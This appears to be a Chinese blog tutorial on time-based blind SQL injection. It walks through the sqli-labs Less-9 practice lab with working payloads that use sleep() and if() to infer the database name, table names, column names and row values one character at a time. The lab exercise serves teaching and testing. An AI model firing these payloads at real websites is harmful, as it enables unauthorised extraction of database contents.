时间型盲注

简介

时间型的注入遇到的条件更为苛刻,数据交互完成以后目标网站没有错误和正确的页面回显,这种情况我们可以利用时间函数来判断数据有没有在目标数据中得到执行。当然也需要构造闭合。

步骤

  1. 设置时间延迟,正确的延迟,错误则不会延迟来进行猜测,得到正确的闭合
  2. 继续利用设置时间延迟,正确的延迟,错误则不会延迟来进行猜测各种数据

函数

length()		返回字符串的长度
ascii()			返回一个字符的ascii码值
mid()			取出字符串中的一部分值
substr()		截取字符串
hex()			返回16进制数

sleep()			时间注入的核心函数
sleep(1)		过1s相应

if()			if判断函数
if(1=1,3,4)		返回3
if(1=2,3,4)		返回4

构建判断语句

id=1' and if(1=2,1,sleep(10)) --+
id=1" and if(1=2,1,sleep(10)) --+
id=1) and if(1=2,1,sleep(10)) --+

构建暴库语句

id=1' and if(length(database())>1,sleep(2),0) --+
增加1值来猜库名的长度
id=1' and if(ascii(substr(database(),1,1))>114,sleep(2),0) --+
增加1值,对照ascii表查询库名
id=1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101,sleep(1),0)--+
增加1值,对照ascii表查询表名
id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),1,1))>104,sleep(1),0)--+
增加1值,对照ascii表查询列名
id=1' and if(ascii(substr((select id from emails limit 0,1),1,1))>49,sleep(1),0)--+
根据表名和列名进行暴值

实操

构造闭合

http://192.168.1.129/sqli-labs-master/Less-9/?id=1' and if(1=2,1,sleep(2)) --+

在这里插入图片描述
等待2s后输出
在这里插入图片描述
猜库名长度

http://192.168.1.129/sqli-labs-master/Less-9/?id=1' and if(length(database())>8,sleep(2),0) --+

在这里插入图片描述

在length(database())>8时不显示且在length(database())>7时停顿2s输出,所以当前库名长8位

猜库名

http://192.168.1.129/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(database(),1,1))>114,sleep(2),0) --+

在这里插入图片描述

当ascii(substr(database(),1,1))>114时等待2s显示输出,而当ascii(substr(database(),1,1))>115时直接显示输出。所以第一位对应的ascii码位115,即小写s

同理可依次推出库名位security

猜表名

http://192.168.1.129/sqli-labs-master/Less-9/?id=1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101,sleep(1),0)--+

在这里插入图片描述

当ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))>101直接显示,当ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))>100时,等待1s后显示所以推断出ascii码为101,即小写的e

同理推断出表名为emails

猜测列名

http://192.168.1.129/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database()%20and%20table_name='emails' limit 0,1),1,1))>104,sleep(1),0)--+

在这里插入图片描述

当输入ascii(substr((select column_name from information_schema.columns where table_schema=database()%20and%20table_name=‘emails’ limit 0,1),1,1))>104等待1s后显示,而当ascii(substr((select column_name from information_schema.columns where table_schema=database()%20and%20table_name=‘emails’ limit 0,1),1,1))>105直接输出显示。所以可以推测ASCII为105即小写的i,
同理推出列名为id

最后根据表名个列名进行暴值

http://192.168.1.129/sqli-labs-master/Less-9/?id=1'and if(ascii(substr((select id from emails limit 0,1),1,1))>49,sleep(1),0)--+

在这里插入图片描述

当输入ascii(substr((select id from emails limit 0,1),1,1))>49时直接显示,输入ascii(substr((select id from emails limit 0,1),1,1))>48时,等待1s后显示,所以推断出ascii为49即数字1,

同理继续判断。即可得到emails表中的第一个id为1

  • 6
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值